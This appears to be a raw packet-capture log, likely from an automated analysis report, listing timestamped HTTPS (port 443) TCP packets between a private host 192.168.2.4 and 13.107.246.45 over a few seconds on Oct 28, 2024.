Oct 28, 2024 06:28:38.505140066 CET	49994	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.505172014 CET	443	49994	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.510027885 CET	49994	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.510034084 CET	443	49994	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.526840925 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.528011084 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.528019905 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.529119968 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.529124975 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.543045998 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.547815084 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.586524010 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.587189913 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.587225914 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.588437080 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.588449001 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.589801073 CET	49997	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.589814901 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.590369940 CET	49997	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.590375900 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.613754988 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.613801003 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.613842010 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.613856077 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.613879919 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.613931894 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.614083052 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.614104033 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.614116907 CET	49993	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.614124060 CET	443	49993	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.633033037 CET	443	49994	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.633225918 CET	443	49994	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.633286953 CET	49994	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.640528917 CET	49994	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.640549898 CET	443	49994	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.640564919 CET	49994	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.640572071 CET	443	49994	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.657068968 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.657138109 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.657183886 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.657192945 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.657247066 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.657291889 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.662415981 CET	49998	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.662481070 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.662580967 CET	49998	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.662755966 CET	49998	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.662785053 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.663592100 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.663621902 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.663636923 CET	49995	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.663645983 CET	443	49995	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.666040897 CET	49999	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.666086912 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.666193962 CET	49999	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.666315079 CET	49999	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.666331053 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.666347027 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.666371107 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.666424036 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.666616917 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.666629076 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.716149092 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.716304064 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.716376066 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.716432095 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.716465950 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.716494083 CET	49996	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.716511011 CET	443	49996	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.717977047 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.718127966 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.718209028 CET	49997	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.718286037 CET	49997	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.718286037 CET	49997	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.718302965 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.718312979 CET	443	49997	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.718724012 CET	50001	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.718756914 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.718816042 CET	50001	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.719012022 CET	50001	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.719027042 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.720207930 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.720223904 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:38.720284939 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.720386982 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:38.720397949 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.399386883 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.399979115 CET	49998	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.400024891 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.400525093 CET	49998	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.400541067 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.401338100 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.401681900 CET	49999	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.401699066 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.401994944 CET	49999	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.402002096 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.407586098 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.407814980 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.407828093 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.408133030 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.408138037 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.458120108 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.458522081 CET	50001	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.458560944 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.458915949 CET	50001	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.458921909 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.484745026 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.485064983 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.485074043 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.485404968 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.485409975 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.530961990 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.531119108 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.531229019 CET	49998	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.531308889 CET	49998	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.531308889 CET	49998	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.531372070 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.531400919 CET	443	49998	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.534333944 CET	50003	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.534375906 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.534384012 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.534498930 CET	50003	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.534557104 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.534619093 CET	50003	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.534621954 CET	49999	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.534638882 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.534674883 CET	49999	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.534674883 CET	49999	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.534698009 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.534708977 CET	443	49999	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.536819935 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.536856890 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.536967993 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.537110090 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.537127018 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.538858891 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.538896084 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.538938999 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.538945913 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.538958073 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.539009094 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.539092064 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.539103985 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.539136887 CET	50000	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.539141893 CET	443	50000	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.541157961 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.541208982 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.541277885 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.541416883 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.541449070 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.587384939 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.587555885 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.587621927 CET	50001	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.587729931 CET	50001	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.587749958 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.587763071 CET	50001	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.587770939 CET	443	50001	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.590899944 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.590945005 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.591052055 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.591207027 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.591221094 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.619867086 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.619915962 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.619962931 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.619983912 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.620148897 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.620209932 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.620244980 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.620260000 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.620269060 CET	50002	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.620273113 CET	443	50002	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.623085976 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.623131037 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:39.623229027 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.623378992 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:39.623405933 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.275223970 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.276315928 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.276335955 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.277312040 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.277318954 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.280029058 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.280519009 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.280572891 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.281903028 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.281919956 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.283766031 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.286983013 CET	50003	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.287030935 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.287478924 CET	50003	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.287484884 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.330199957 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.330826998 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.330842018 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.331374884 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.331382990 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.355185986 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.355763912 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.355806112 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.356278896 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.356291056 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.407778978 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.407813072 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.407888889 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.407908916 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.407972097 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.408107042 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.408107042 CET	50004	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.408135891 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.408144951 CET	443	50004	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.410901070 CET	50008	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.410919905 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.410942078 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.410949945 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.410995007 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.411012888 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.411026955 CET	50008	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.411027908 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.411160946 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.411164999 CET	50008	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.411175966 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.411349058 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.411365032 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.411379099 CET	50005	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.411386967 CET	443	50005	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.413830996 CET	50009	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.413934946 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.414009094 CET	50009	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.414134979 CET	50009	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.414170980 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.415966034 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.416116953 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.416181087 CET	50003	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.416208982 CET	50003	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.416225910 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.416238070 CET	50003	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.416244984 CET	443	50003	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.418101072 CET	50010	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.418121099 CET	443	50010	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.418190002 CET	50010	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.418328047 CET	50010	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.418340921 CET	443	50010	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.460932970 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.460994005 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.461113930 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.461226940 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.461226940 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.461353064 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.461353064 CET	50006	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.461369991 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.461380005 CET	443	50006	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.463478088 CET	50011	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.463519096 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.463607073 CET	50011	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.463745117 CET	50011	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.463788033 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.484539986 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.484587908 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.484658957 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.484685898 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.484714985 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.484767914 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.484850883 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.484872103 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.484909058 CET	50007	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.484920979 CET	443	50007	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.486789942 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.486886024 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:40.486972094 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.487096071 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:40.487129927 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.150737047 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.151262045 CET	50008	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.151287079 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.151828051 CET	50008	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.151833057 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.157962084 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.158503056 CET	50009	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.158596992 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.158922911 CET	50009	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.158937931 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.168591022 CET	443	50010	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.168906927 CET	50010	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.168925047 CET	443	50010	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.169446945 CET	50010	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.169450998 CET	443	50010	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.201093912 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.201472044 CET	50011	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.201509953 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.201889038 CET	50011	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.201899052 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.248106956 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.248419046 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.248486996 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.248882055 CET	50012	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.248897076 CET	443	50012	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.282635927 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.282785892 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.282871962 CET	50008	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.283068895 CET	50008	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.283085108 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.283094883 CET	50008	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.283098936 CET	443	50008	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.287699938 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.287792921 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.287882090 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.288172007 CET	50013	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.288212061 CET	443	50013	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.291484118 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.291621923 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.291673899 CET	50009	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.291832924 CET	50009	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.291874886 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.291903973 CET	50009	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.291918993 CET	443	50009	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.299542904 CET	443	50010	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.299705029 CET	443	50010	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.299765110 CET	50010	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.300813913 CET	50010	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.300823927 CET	443	50010	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.301711082 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.301765919 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.301842928 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.302124023 CET	50014	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.302156925 CET	443	50014	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.303709030 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.303734064 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.303798914 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.303906918 CET	50015	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.303932905 CET	443	50015	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.332114935 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.332282066 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.332344055 CET	50011	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.332504034 CET	50011	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.332528114 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.332570076 CET	50011	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.332581997 CET	443	50011	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:41.334772110 CET	50016	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:41.334803104 CET	443	50016	13.107.246.45	192.168.2.4
